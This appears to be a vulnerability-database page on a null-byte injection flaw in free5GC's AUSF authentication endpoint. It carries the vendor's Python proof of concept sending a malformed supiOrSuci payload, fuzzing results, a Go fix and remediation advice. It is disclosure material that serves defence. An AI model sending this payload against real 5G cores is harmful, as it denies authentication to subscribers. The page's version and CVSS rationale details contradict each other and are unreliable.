Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible, unauthenticated endpoint with no prerequisites; C:L for stack trace disclosure; A:H because sustained flooding saturates the sole authentication path for all subscribers.
Primary rating from Vendor (https://github.com/free5gc/free5gc).
CVSS VectorVendor: https://github.com/free5gc/free5gc
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Summary
The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale-4.1% of special_chars mutations produce HTTP 500-causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).
---
Details
The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:
{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:
GET /nudm-ueau/v1/{supiOrSuci}/security-information/...When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:
{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}The AUSF container log shows: net/url: invalid control character in URL.
Attack chain:
1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error-the service survives, but the denial is equally effective.
Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:
| Strategy | Requests | HTTP 500s | Trigger Rate |
|---|---|---|---|
special_chars | 98,304 | 4,021 | 4.1% |
seed_replay | 132,428 | 7,947 | 6.0% |
grammar_aware | 30,944 | 683 | 2.2% |
100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.
PoC
No configuration changes needed. Default free5GC deployment is vulnerable.
#!/usr/bin/env python3
import http.client, json
AUSF_HOST = "127.0.0.1"
# Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000
# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
"supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
"authType": "5G_AKA"
})
conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug: Status {resp.status}")
# Returns 500
# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
"supiOrSuci": "imsi-208930000000031",
"servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
"authType": "5G_AKA"
})
conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")
# Returns 404Run: python3 reproduce.py
Expected fix (input validation + URL escaping):
import "regexp"
import "net/url"
var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)
func validateSUCI(supiOrSuci string) error {
if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
return r < 0x20 || r > 0x7e
}) {
return fmt.Errorf("SUCI contains illegal characters")
}
return nil
}
// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
udmAddr, url.PathEscape(supiOrSuci))Impact
| Property | Value |
|---|---|
| Authentication | None required (unauthenticated SBI endpoint) |
| Impact | Denial of Service - AUSF returns HTTP 500 for all authentication requests during attack |
| Information Leak | HTTP 500 response leaks internal net/url.Parse error, enabling backend fingerprinting |
| Affected version | free5GC v4.2.2 (latest) |
| Fix | Validate supiOrSuci before URL construction; use url.PathEscape() |
Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.
AnalysisAI
Null byte injection in the free5GC Authentication Server Function (AUSF) v4.2.1 and earlier allows unauthenticated remote attackers to crash Go's URL parser and force HTTP 500 responses on the authentication endpoint, denying authentication service to all legitimate 5G subscribers sharing that AUSF instance. A publicly available Python PoC is included in the vendor's own security advisory, and fuzzing demonstrated a 4.1% trigger rate across nearly 100,000 requests - confirming reliable, scalable exploitation against the default deployment with no special configuration required. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The AUSF POST /nausf-auth/v1/ue-authentications endpoint must be network-reachable - no authentication credentials are required (PR:N per CVSS 4.0 vector, consistent with the advisory's explicit 'None required' authentication rating). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 4.0 score of 6.9 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L) nominally reflects low availability impact to the vulnerable system, but this understates operational risk for 5G core operators: the AUSF is the sole authentication gateway in a 3GPP 5G SA core, meaning a sustained flood of malformed requests - achievable with the published PoC - can deny authentication to the entire subscriber base served by that network function. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade free5GC to v4.2.2 (https://github.com/free5gc/free5gc/releases/tag/v4.2.2) and the AUSF module to v1.4.5 (https://github.com/free5gc/ausf/releases/tag/v1.4.5), which apply the input validation patch from PR #61 (commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e); this causes the handler to reject malformed supiOrSuci values with HTTP 400 before any URL construction occurs, with no functional impact on well-formed requests. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-20 – Improper Input Validation
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-51628
GHSA-qj55-47fp-p62j